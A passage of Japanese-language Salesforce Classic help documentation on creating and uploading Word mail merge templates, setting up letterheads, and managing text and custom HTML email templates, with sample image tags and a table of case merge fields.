2. salesforce_mailmerge_templates_howto.docに記述された手順を参照
します。

3. 任意のサンプルテンプレートを Microsoft Word で開きます。
4. サンプルテンプレートのコピーを、コンピュータ上のデスクトップか、任意

の場所に保存します。Word 2007 の場合、[Office] ボタンから [別名で保存]を選
択し、適切なファイル名と保存先フォルダを指定します。

5. 必要に応じて、テンプレートのテキストと書式をカスタマイズします。
6. Alt+F9 を押して非表示の差し込み印刷コードを表示します。

各差し込み項目が、{MERGEFIELD Contact_FullName \* MERGEFORMAT}

のように表示されます。

7. 必要に応じて差し込み印刷項目を変更または追加します。
a. 差し込み項目を挿入する位置にカーソルを置きます。
b. Word 2007 では、リボンの [挿入] タブを選択し、[テキスト] グループから

[クイックパーツ] をクリックし、次に [項目] をクリックします。
c. [カテゴリ] ドロップダウンリストから [差し込み印刷] を選択します。
d. [項目名] ボックスの [MergeField] を選択します。
e. [項目名] ボックスの [項目プロパティ] エリアで、Opportunity_LineItem_ProductNameなどの有効な

差し込み項目を手動で入力します。Salesforce 組織で使用できる標準項目およびカスタム項目の完全なリ
ストを作成する方法については、「Locate Record Field Names for Mail Merge」の記事を参照してください。

f. [OK] をクリックします。

メモ: 商談に関連付けられているすべての商品に関する情報を一覧表示するには、商品情報の表示
を開始する位置に Opportunity_LineItem_Start 差し込み項目を挿入します。その後に、商談
の各商品に追加するすべての差し込み項目を挿入します。最後に、Opportunity_LineItem_End

を挿入してリストを終了します。

8. Word ドキュメントを保存します。
9. 差し込み印刷テンプレートの Salesforce へのアップロード (ページ 1894)に進みます。

ヒント: 最良の結果を得るには:

• 差し込み印刷テンプレートには、Microsoft Word で「保護」や「アクセス制限」を設定しないでくださ
い。保護された Word ドキュメントについては、Word のヘルプを参照してください (Word で F1 キーを
押すと、ヘルプが開きます)。
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• 差し込み印刷テンプレートを、Excel ワークシートや Access データベースなどの外部ソースと接続しな
いでください。Word が「標準の Word 文書」と呼ぶドキュメントへの差し込み印刷ドキュメントの保
存については、Word のヘルプを参照してください。

関連トピック:

差し込み印刷テンプレートの管理
差し込み印刷テンプレートの差し込み項目を使用する場合の考慮事項
差し込み印刷

Microsoft® Word を使用した差し込み印刷テンプレートの作成

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
すべてのエディション

Connect for Office Word のアドインには、挿入できる有効な差し込み項目の完全な
リストが用意されています。Salesforce で TLS 1.0 が無効化されると、Connect for

Office のサポートは終了します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終
了します。この変更があるため、Connect for OfficeがSalesforceと Microsoft® Word

または Excel 間の接続を確立できるという保証はありません。営業担当が接
続を確立できたとしても、Salesforce は問題が発生した場合のサポートやメ
ンテナンスは提供しません。

重要: 使用する各差し込み印刷項目表示ラベルは一意である必要があります。
1. Microsoft Word を開きます。
2. 操作方法使用する Word

のバージョン

ツールバーの [Salesforce] ドロップダウンメニューから [ログイン] を選択します。Word 2003 以前

リボンの Salesforce タブを選択してから、[差し込み項目] ドロップダウンメニューをク
リックし、[ログイン] を選択します。

Word 2007

3. Salesforce のユーザ名とパスワードを入力します。
4. [ログイン] をクリックします。

メモ: ログインに成功し、セッションがアクティブになると、ドロップダウンボタンの [ログイン] コ
マンドが無効になります。ログアウトするには、[ログアウト] をクリックします。

5. 既存の Word 文書または空の Word 文書から、差し込み印刷テンプレートの作成します。
6. 差し込み項目を挿入する位置に Salesforce カーソルを置きます。既存の差し込み項目を置換する場合は、テ

ンプレートで差し込み項目全体を選択します。差し込み印刷項目は一意である必要があります。
7. Word 2003 以前では、[Salesforce]ドロップダウンメニューから [差し込み項目の挿入]を選択します。Word 2007

では、リボンの Salesforce タブを選択してから、[差し込み項目] ドロップダウンメニューをクリックし、[差
し込み項目の挿入] を選択します。
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8. [差し込み項目の挿入] ダイアログで、データ型を選択し、挿入する差し込み項目を選択します。Salesforceで
商品を使用している場合は、「差し込み印刷テンプレートへの商談商品データの挿入」 (ページ1893)を参照
してください。

9. [挿入] をクリックすると、Word 文書の現在のカーソル位置に差し込み項目が追加されます。
10. 必要に応じて、差し込み項目を更に追加し、差し込み印刷テンプレートを作成します。
11. 差し込み印刷テンプレートが完成したら、[設定] から [クイック検索]ボックスに「差し込み印刷テンプレー

ト」と入力し、[差し込み印刷テンプレート] を選択して、Salesforce にアップロードします。

差し込み印刷テンプレートへの商談商品データの挿入
製品は、Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition で使用
できます。差し込み印刷テンプレートに商談商品データを追加するには、[差し込み項目の挿入] ダイアログで
[商談品目の項目] を選択し、挿入する項目を選択します。これにより、選択した差し込み項目、「開始」およ
び「終了」項目がテーブルに挿入されます (商談商品データのテーブルを含むサンプルのデフォルトの差し込
み印刷テンプレートをダウンロードできます)。このテーブルは必要に応じて編集できます。ただし、
Opportunity_LineItem_Start 差し込み項目はすべての商談商品差し込み項目より前に、また、
Opportunity_LineItem_End差し込み項目はすべての商談商品差し込み項目より後になっている必要があり
ます。Salesforceでは、これらの開始項目と終了項目に従って、商談に関わるすべての商品のリストが表示され
ます。
また、商談商品の差し込み項目のテーブルに商品の差し込み項目を挿入する場合は、Salesforce Word アドインを
使用しないで手動で挿入できます。
1. Word 文書で、差し込み項目を挿入したい位置にカーソルを位置付けます。
2. Word 2003 以前の Word では、メニューバーの [挿入] を選択し、次に [項目] を選択します。Word 2007 では、

リボンの [挿入] タブを選択し、[テキスト] グループから [クイックパーツ] をクリックし、次に [項目] をク
リックします。

3. [カテゴリ] ドロップダウンリストから [差し込み印刷] を選択します。
4. [項目名] ボックスの [MergeField] を選択します。
5. [項目プロパティ] エリアの [項目名] ボックスで、「Opportunity_LineItem_ProductName」のように差

し込み項目の名前を手動で入力します。
6. [OK] をクリックします。

関連トピック:

Connect for Office のインストール
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Connect for Office のシステム要件

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforceで TLS 1.0 が無効化されると、Connect for Officeのサポートは終了します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終
了します。この変更があるため、Connect for OfficeがSalesforceと Microsoft® Word

または Excel 間の接続を確立できるという保証はありません。営業担当が接
続を確立できたとしても、Salesforce は問題が発生した場合のサポートやメ
ンテナンスは提供しません。

Connect for Office のシステム要件は次のとおりです。
• Microsoft® Office 2007

• Microsoft® Windows Vista® (32 ビットのみ) - Salesforce が TLS 1.0 を無効化するまで。

関連トピック:

Connect for Office のインストール

差し込み印刷テンプレートの Salesforce へのアップロード

エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

ユーザ権限

差し込み印刷テンプレー
トをアップロードする
• 「公開テンプレートの

管理」

差し込み印刷テンプレー
トを編集する
• 「公開テンプレートの

管理」

「公開テンプレートの管理」権限を持つ管理者とユーザは、完成した Microsoft

Word 差し込み印刷テンプレートを Salesforce にアップロードし、使用可能にする
必要があります。
1. Salesforceの [設定] から、[クイック検索]ボックスに「差し込み印刷テンプレー

ト」と入力し、[差し込み印刷テンプレート] を選択します。
2. [新規テンプレート] をクリックします。
3. テンプレートの名前と説明を入力します。この入力は、ユーザが差し込み印

刷ドキュメントを生成するときに、正しいテンプレートを選択するのに役立
ちます。
組織が拡張差し込み印刷を使用する場合、[ドキュメント]、[表示ラベル]、
[封筒] の中から該当するドキュメントの種類を選択します。

4. [参照] をクリックして、Word の差し込み印刷テンプレートを選択します。
5. [保存] をクリックして終了します。

関連トピック:

差し込み印刷テンプレートの管理
レコードからのメール生成
差し込み印刷

1894

テンプレートを使用した定型レターの生成顧客への営業

https://help.salesforce.com/apex/HTViewSolution?id=000221207
https://help.salesforce.com/apex/HTViewSolution?id=000221207


レターヘッドの使用

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レターヘッドを作成また
は変更する
• 「レターヘッドの管

理」

レターヘッドは、HTML メールテンプレートで使用するロゴ、ページの色、およ
びテキスト設定を定義します。最良の結果を得るには、すべての HTML メールテ
ンプレートで使用するレターヘッドを 1 つ作成します。レターヘッドを作成し
て、組織全体で使用可能にすることができます。
レターヘッドを使用するには、[設定] から、[クイック検索]ボックスに「レター
ヘッド」と入力し、[レターヘッド] を選択します。
レターヘッドリストページでは、次の操作を実行できます。
• レターヘッドを参照するには、リストから名前を選択します。
• レターヘッドを編集するには、リストから名前を選択し、編集オプションの

[プロパティを編集] または [レターヘッドの編集] を選択します。
• レターヘッドを削除するには、名前の横にある [削除] をクリックします。

HTML メールテンプレートで使用されているレターヘッドは削除できません。

関連トピック:

レターヘッドの作成
レターヘッド項目

レターヘッドの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

レターヘッドを作成また
は変更する
• 「レターヘッドの管

理」

レターヘッドは、HTML メールテンプレートのデザインを定義します。レター
ヘッドからは、使用するロゴ、ページの色、およびテキスト設定を HTML メール
テンプレートに継承できます。
レターヘッドは、プロパティと詳細で構成されます。プロパティは組織内での
みアクセス可能であり、ユーザがレターヘッドを識別するために役立ちます。
詳細は、そのレターヘッドを使用したときにメールに適用されます。レターヘッ
ドのプロパティと詳細を作成するには、レターヘッドウィザードを使用します。
1. [設定] から、[クイック検索] ボックスに「レターヘッド」と入力し、[レター

ヘッド] を選択します。
2. [新規レターヘッド] をクリックします。

レターヘッドのプロパティの設定
1. 作成した新しいレターヘッドをユーザがただちに使用できるようにする場合

は、[有効] チェックボックスをオンにします。
2. [レターヘッド表示ラベル] を入力します。このラベルは、ユーザインターフェースページでレターヘッド

を参照するために使用します。
3. 必要に応じて、[レターヘッドの一意の名前] を変更します。この名前は、Force.com APIの使用時にコンポー

ネントを参照するために使用される一意の名前です。管理パッケージでは、この一意の名前により、パッ
ケージのインストール時に名前が競合することを防ぎます。この名前は、アンダースコアと英数字のみを
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使用でき、組織内で一意にする必要があります。最初は文字であること、空白は使用しない、最後にアン
ダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制約があります。[レターヘッド
の一意の名前]項目を使用すると、開発者は管理パッケージで特定のコンポーネント名を変更できます。こ
の変更は、登録者の組織に反映されます。

4. このレターヘッドの説明を入力します。名前と説明の項目は、レターヘッドを他のユーザに説明するため
に、内部的にのみ使用されます。

5. [保存] をクリックします。レターヘッドの詳細ページが表示されます。

レターヘッドの詳細の設定
1. レターヘッドの属性を設定します。

• [背景色の編集]をクリックし、レターヘッドの背景色を入力します。カラーピッカーボタンをクリック
し、色を選択します。

• [ヘッダープロパティの編集]をクリックし、レターヘッドの上部セクションの色、配置、高さを選択し
ます。

• [画像の選択] をクリックして、レターヘッドの上部または下部に会社のロゴマークの画像を挿入しま
す。

メモ: ロゴ画像をレターヘッドに追加するには、ロゴ画像を [ドキュメント] タブにアップロードす
る必要があります。ドキュメントが [外部参照可] とマークされていて、メールで受信したときに
Salesforce以外のユーザに表示されるようになっていることを確認します。詳細は、Salesforceヘルプ
の「ドキュメントのアップロードと置き換え」を参照してください。

画像を選択するには、フォルダを選択し、ドキュメント名をクリックしてドキュメントを添付します。
または、[ドキュメント検索] をクリックし、ファイル名を入力して、名前でドキュメントを検索しま
す。

• レターヘッドから画像を削除するには、[画像の削除] をクリックします。
• [上部区切り線の編集]をクリックし、ヘッダーの下の水平線の色と高さを入力します。カラーピッカー

ボタンをクリックし、色を選択します。
• [メインボディの色の編集] をクリックし、レターヘッドの本体部分の背景色を入力します。
• [中央区切り線の編集] をクリックし、レターヘッドの中間にある境界線の色と高さを入力します。カ

ラーピッカーボタンをクリックし、色を選択します。
• [フッタープロパティの編集]をクリックし、レターヘッドの下部セクションの色、配置、高さを選択し

ます。
• [下部区切り線の編集]をクリックし、下部の水平線の色と高さを選択します。カラーピッカーボタンを

クリックし、色を選択します。

2. 必要に応じて [プレビュー] をクリックすると、別のブラウザウィンドウにレターヘッドが表示されます。
3. [保存] をクリックします。
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レターヘッドの設定が含まれる HTML メールテンプレートを作成するには、「HTML メールテンプレートの作
成」 (ページ 2415)を参照してください。

関連トピック:

メールテンプレートの管理
カスタム HTML メールテンプレートの作成

レターヘッド項目
次に、レターヘッドの詳細ページに表示される項目について説明します (アルファベット順)。

説明項目

レターヘッドが HTML テンプレートに適用可能である
ことを示すチェックマーク。

有効

レターヘッドを作成したユーザの名前 (日時を含む)。作成者

このレターヘッドを他のレターヘッドと区別するのに
役立つテキスト。

説明

レターヘッドを特定するための内部名。レターヘッド表示ラベル

この名前は、Force.com API の使用時にコンポーネント
を参照するために使用される一意の名前です。管理

レターヘッドの一意の名前

パッケージでは、この一意の名前により、パッケージ
のインストール時に名前が競合することを防ぎます。
この名前は、アンダースコアと英数字のみを使用で
き、組織内で一意にする必要があります。最初は文字
であること、空白は使用しない、最後にアンダースコ
アを使用しない、2 つ続けてアンダースコアを使用し
ないという制約があります。[レターヘッドの一意の名
前]項目を使用すると、開発者は管理パッケージで特
定のコンポーネント名を変更できます。この変更は、
登録者の組織に反映されます。

レターヘッドを最後に更新したユーザの名前 (日時を
含む)。

更新者

API 内でメールテンプレートに使用される名前空間プ
レフィックス。

名前空間プレフィックス

関連トピック:

レターヘッドの作成
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メールテンプレートの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

HTML メールテンプレート
を作成または変更する
• 「HTML テンプレート

の編集」

Visualforce メールテンプ
レートを作成または変更
する
• 「アプリケーションの

カスタマイズ」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

Salesforce Classicでは、テキスト、レターヘッドのある HTML、カスタム、Visualforce

の 4 種類のメールテンプレートを作成できます。これらすべてのメールテンプ
レートには、テキスト、差し込み項目、および添付ファイルを含めることがで
きます。HTML テンプレートと Visualforce テンプレートには画像を含めることもで
きます。メールテンプレートは、レコードの [活動履歴] 関連リストまたは [HTML

メールの状況] 関連リストからメールを送信するときに使用できます。テキスト
および HTML テンプレートは、一括メール送信を行うときにも使用できます。テ
キストテンプレートと HTML タグのない Visualforce テンプレートについては、テ
ンプレートのスペルチェックを行うボタンを使用できます。
• テキスト - テキストメールテンプレートはすべてのユーザが作成または削除

できます。「テキストメールテンプレートの作成」 (ページ1901)を参照してく
ださい。

• HTML (レターヘッドを使用する) - システム管理者および「HTML テンプレート
の編集」権限を持つユーザは、レターヘッドを基にして HTML メールテンプ
レートを作成できます。「HTML メールテンプレートの作成」 (ページ2415)を
参照してください。

• カスタム HTML (レターヘッドを使用しない) - システム管理者および「HTML テ
ンプレートの編集」権限を持つユーザは、レターヘッドを使用しないでカス
タム HTML メールテンプレートを作成できます。HTML の知識があるか、メー
ルテンプレートに挿入する HTML コードを用意しておく必要があります。「カ
スタム HTML メールテンプレートの作成」 (ページ2413)を参照してください。

• Visualforce - システム管理者と開発者は、Visualforceを使用してテンプレートを
作成できます。Visualforceメールテンプレートでは、複数のレコードからの情
報をテンプレートに含めることができる高度な機能を使用して、受信者の
データを差し込むことができます。「Visualforceメールテンプレートの作成」
を参照してください。

メモ: Visualforce メールテンプレートを使用して一括メールを送信すること
はできません。

メールテンプレートにアクセスするには、次のいずれかを実行します。
• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]ボッ

クスに「メールテンプレート」と入力し、[メールテンプレート] を選択しま
す。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。[クイック検索] ボックスに「テ
ンプレート」と入力し、[メールテンプレート] または [私のテンプレート] の表示された方を選択します。

• [メールテンプレートの表示] ページに移動するには、任意のメールテンプレート名をクリックします。
• テンプレートを編集または削除するには、リスト内のテンプレート名の横にある [編集] または [削除] をク

リックします。
• メールテンプレートを作成するには、[新規テンプレート] をクリックします。
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メモ: 次の機能で使用するメールテンプレートが公開され有効である必要があります。
• Web-to-リード
• Web-to-ケース
• メール-to-ケースまたはオンデマンドメール-to-ケース
• 割り当てルール
• エスカレーションルール
• 自動レスポンスルール

関連トピック:

メールテンプレートのコピー
レターヘッドの使用
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メールテンプレートの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

HTML メールテンプレート
を作成または変更する
• 「HTML テンプレート

の編集」

Visualforce メールテンプ
レートを作成または変更
する
• 「アプリケーションの

カスタマイズ」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

テンプレートを参照するには、リストからテンプレート名を選択します。オプ
ションは、テンプレートの種類 (カスタム、HTML、Visualforce、またはテキスト)

によって異なります。
• テキスト版テンプレートの場合に、テキストメッセージの内容、件名、また

は差し込み項目を変更するには、[編集] をクリックします。
• カスタムテンプレートおよび HTML テンプレートの場合:

– HTML 版の内容または差し込み項目を変更するには、[HTML 版テンプレー
トの編集] をクリックします。

メモ: どのカスタムおよび HTML メールテンプレートにも、HTML メー
ルを表示できない受信者のためのテキスト版が含まれます。テキス
ト版を空白のままにすると、HTML 版の編集時にテキスト版が自動的
に生成されます。

– テキスト版の内容または差し込み項目を変更するには、[テキストの編集]

をクリックします。

警告: テキスト版は空白のままにしておくことをお勧めします。テキ
スト版を空白のままにすると、最新の HTML 版に基づいてテキスト版
の内容が自動的に作成されます。内容を手動で入力した場合は、HTML

版へのそれ以降の編集がテキスト版に反映されません。

• Visualforce テンプレートの場合:

– テンプレートページのマークアップを変更するには、[テンプレートを編
集] をクリックします。

– Visualforce の [添付ファイル] 関連リストに、Visualforce マークアップによっ
て生成中の添付ファイルが示されます。

– Visualforce のマークアップがインストール済み管理パッケージのコンポー
ネントを参照している場合は、[バージョン設定] 関連リストに、コンポー
ネントを含むインストール済みパッケージのバージョンが表示されます。
インストール済み管理パッケージの一部のコンポーネントには、別のク
ラス、トリガ、またはカスタムオブジェクトを含めることができます。

– メールテンプレートに暗号化データが含まれる場合は、生成されるメー
ル内、および Visualforce テンプレートページにデータが暗号化されて表示
されます。セキュリティ上の理由により、プレーンテキストでは表示されません。

• 選択したレコードのデータが入力されたテンプレートのサンプルを表示して、テストメールを送信するに
は、[テストの送信と差し込み項目の検証] をクリックします。

• [添付ファイル] 関連リストの [ファイル添付] をクリックします。そのテンプレートが使用されたすべての
メールに、添付ファイルが含まれます。
ファイルを選択する手順は、次のとおりです。
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[ドキュメント] タブでファイルを検索するには、[ドキュメント検索] リンクをクリックします。ロゴ画
像や他のグラフィックファイルを選択する場合は、[ドキュメント] タブでドキュメントを [外部参照可]

とマークします。

–

– または、[ファイルの保存場所]ドロップダウンリストからオプションを選択して、自分のコンピュータ
またはドキュメントフォルダからファイルを選択します。

• 「公開テンプレートの管理」権限がある場合は、別の著者を選択するために、[著者]項目の横の [変更]を
クリックできます。デフォルトでは、メールテンプレートを作成した人が著者になります。

• テンプレートを削除するには、[削除] をクリックします。
• テンプレートをコピーするには、[コピー] をクリックします。詳細は、「メールテンプレートのコピー」

(ページ 1905)を参照してください。
• 「開発者モード」が有効になっている場合、[連動関係の表示] をクリックすると、そのテンプレートが参

照しているコンポーネントが表示されます。

テキストメールテンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

プレーンテキストメールテンプレートを作成して、HTML メールを閲覧できない
受信者に送信できます。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. [新規テンプレート] をクリックします。
3. テンプレートの種別として [テキスト] をクリックし、[次へ] をクリックし

ます。
4. テンプレートを保存するフォルダを選択します。
5. テンプレートを使用できるようにするには、[有効] チェックボックスをオ

ンにします。
6. [メールテンプレート名] に名前を入力します。
7. 必要に応じて、[テンプレートの一意の名前] を変更します。この一意の名前

は、Force.com API の使用時にコンポーネントを参照します。管理パッケージ
では、この一意の名前により、パッケージのインストール時に名前が競合す
ることを防ぎます。この名前は、アンダースコアと英数字のみを使用でき、
組織内で一意にする必要があります。最初は文字であること、空白は使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使
用しないという制約があります。[テンプレートの一意の名前] 項目を使用すると、管理パッケージで特定
のコンポーネント名を変更できます。この変更は、登録者の組織に反映されます。

8. 必要に応じて、[文字コード] ドロップダウンリストから別の文字セットを選択します。
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9. テンプレートの [説明] を入力します。テンプレートの名前と説明はどちらも内部使用のみを目的としま
す。

10. メッセージの [件名] を入力します。
11. メッセージのテキストを入力します。
12. 必要に応じて、テンプレートの件名と本文中に差し込み項目を入力します。メールを送信するとき、これ

らの項目はレコードからの情報に置き換えられます。
13. [保存] をクリックします。

ヒント: 選択したレコードのデータが入力されたテンプレートのサンプルを表示して、テストメールを送
信するには、[テストの送信と差し込み項目の検証] をクリックします。

テンプレートへのファイルの添付
テンプレートに添付ファイルを追加する手順は、次のとおりです。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索] ボックスに「メールテンプレー
ト」と入力し、[メールテンプレート] を選択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。[クイック検索] ボックスに
「テンプレート」と入力し、[メールテンプレート] または [私のテンプレート] の表示された方を選択し
ます。

2. テンプレートを選択します。
3. メールテンプレートの詳細ページで [ファイル添付] をクリックします。
4. フォルダを選択してドキュメント名をクリックするか、[ドキュメント検索] をクリックしてファイル名を

入力し、ドキュメントを検索します。
または、[私のコンピュータ] をクリックして、自分のコンピュータからファイルを添付します。

添付されたファイルは、そのテンプレートが使用されたすべてのメールに含まれます。一括メール送信では、
添付ファイルはファイルではなくリンクとして送信されます (「メールの一括送信」 (ページ 1879)を参照)。

関連トピック:

メールテンプレートの管理
Visualforce メールテンプレートの作成
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カスタム HTML メールテンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

カスタム HTML メールテン
プレートを作成または変
更する
• 「HTML テンプレート

の編集」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

レターヘッドを使用せずに、カスタム HTML メールテンプレートを作成できま
す。HTML がわからない場合は、HTML コードをテンプレートに貼り付けることが
できます。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. [新規テンプレート] をクリックします。
3. [カスタム HTML(レターヘッドを使用しない)] を選択し、[次へ] をクリック

します。
4. テンプレートを保存するフォルダを選択します。
5. テンプレートを使用できるようにするには、[有効] チェックボックスをオ

ンにします。
6. [メールテンプレート名] に名前を入力します。
7. 必要に応じて、[テンプレートの一意の名前] を変更します。この一意の名前

は、Force.com API の使用時にコンポーネントを参照します。管理パッケージ
では、この一意の名前により、パッケージのインストール時に名前が競合す
ることを防ぎます。この名前は、アンダースコアと英数字のみを使用でき、
組織内で一意にする必要があります。最初は文字であること、空白は使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使
用しないという制約があります。[テンプレートの一意の名前] 項目を使用す
ると、管理パッケージで特定のコンポーネント名を変更できます。この変更
は、登録者の組織に反映されます。

8. 必要に応じて、[文字コード] ドロップダウンリストから別の文字セットを選択します。
9. テンプレートの [説明] を入力します。テンプレートの名前と説明はどちらも内部使用のみを目的としま

す。説明は、一括メール送信時にログに記録される、メール活動のタイトルとして使用されます。
10. [次へ] をクリックします。
11. メッセージの [件名] を入力します。
12. メッセージの HTML ソーステキストを入力します。すべての HTML タグを含めます。

メモ: 画像を含める場合は、[ドキュメント] タブにアップロードすることをお勧めします。アップロー
ドすると、サーバ上にある画像のコピーを参照できます。以下に例を示します。
<img src="https://yourInstance.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>
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13. 必要に応じて、テンプレートの件名と本文中に差し込み項目を入力します。メールを送信するとき、これ
らの項目は、リード、取引先責任者、取引先、商談、ケース、またはソリューションに置き換えられます。

14. [次へ] をクリックします。
15. 必要に応じて、テキストのみのメールを入力するか、[HTML 版からテキストのコピー] をクリックして、

HTML 版から HTML タグを付けないテキストを自動的に貼り付けます。テキスト版は、HTML メールを表示で
きない受信者が使用できます。

警告: テキスト版は空白のままにしておくことをお勧めします。テキスト版を空白のままにすると、
最新の HTML 版に基づいてテキスト版の内容が自動的に作成されます。内容を手動で入力した場合は、
HTML 版へのそれ以降の編集がテキスト版に反映されません。

16. [保存] をクリックします。

ヒント: 選択したレコードのデータが入力されたテンプレートのサンプルを表示して、テストメールを送
信するには、[テストの送信と差し込み項目の検証] をクリックします。

メモ: メールの利用にカスタム HTML テンプレートを選択した場合、カスタム HTML テンプレートの内容を
変更できません。

関連トピック:

Visualforce メールテンプレートの作成
メールテンプレートのコピー
HTML メールテンプレートの作成
Visualforce メールテンプレートの作成
レターヘッドの作成
メールテンプレートへの画像の追加
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メールテンプレートのコピー

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

HTML メールテンプレート
を作成または変更する
• 「HTML テンプレート

の編集」

Visualforce メールテンプ
レートを作成または変更
する
• 「アプリケーションの

カスタマイズ」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

メールテンプレートのコピーでは、既存のメールテンプレートに新しい名前を
付けて保存します。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. リストにあるメールテンプレート名をクリックします。
3. [コピー] をクリックします。
4. テンプレートを保存するフォルダを選択します。
5. テンプレートを使用できるようにするには、[有効] チェックボックスをオ

ンにします。
6. [メールテンプレート名] に名前を入力します。
7. テンプレートの [説明] を入力します。テンプレートの名前と説明はどちら

も内部使用のみを目的とします。
8. [保存] をクリックします。
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メールテンプレートへの画像の追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

HTML メールテンプレート
を作成または変更する
• 「HTML テンプレート

の編集」

Visualforce メールテンプ
レートを作成または変更
する
• 「アプリケーションの

カスタマイズ」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

HTML およびVisualforceメールテンプレートに画像またはロゴを含めることができ
ます。レターヘッドテンプレートのある HTML では、ロゴまたは画像はテンプ
レートの作成時に選択するレターヘッドから取り込まれます。
カスタム HTML または Visualforce テンプレートを作成する場合は、単純に、画像
を参照する imgタグを含めます。[ドキュメント] タブに画像をアップロードし、
Salesforce サーバで画像のコピーを参照するようにすることをお勧めします。た
とえば、HTML の場合、次のようになります。

<img src="https://yourInstance.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>

また、Visualforce の場合は、次のようになります。
<apex:image id="Logo"
value="https://yourInstance.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>
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ケースの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能な差し込み項目
は、使用している
Salesforce のエディション
によって異なります。

使用可能な差し込み項目のリストは、使用しているデータ型によって異なりま
す。ケースの差し込み項目のほとんどはケース項目に直接対応しています。次
の表では、ケースレコードの処理から派生した値を表すより高度な差し込み項
目について説明します。

説明差し込み項目項目

PDF の添付ファイルに変換されたケース
に関連付けられている記事。
これでユーザが、ケース詳細ページの
[メール] 関連リストで [メールを送信] を

Case.Articles_as_PDFsPDF での
記事

クリックし、この差し込み項目を含むテ
ンプレートを選択できるようになりま
す。メールを送信する前に添付ファイル
をプレビューしたり、削除したりできま
す。

ケース取引先責任者が送信者であるか受
信者 ([宛先]、CC、または BCC) であるす

Case.Email_Threadメールス
レッド

べてのメールのスレッド。メールは、最
新のメールがスレッドの一番上に表示さ
れるように新しい順に一覧表示されま
す。このスレッドはメールのテキスト
バージョンを挿入します。Visualforceペー
ジではこの差し込み項目は使用できませ
ん。
メールスレッドの制限は、次のとおりで
す。
• 最大メール数: 200

• メール本文切り捨てサイズ: 32 KB

ケースに対する最新コメントの説明が作
成されます。

Case.Last_Case_Comment最後のケー
スコメント

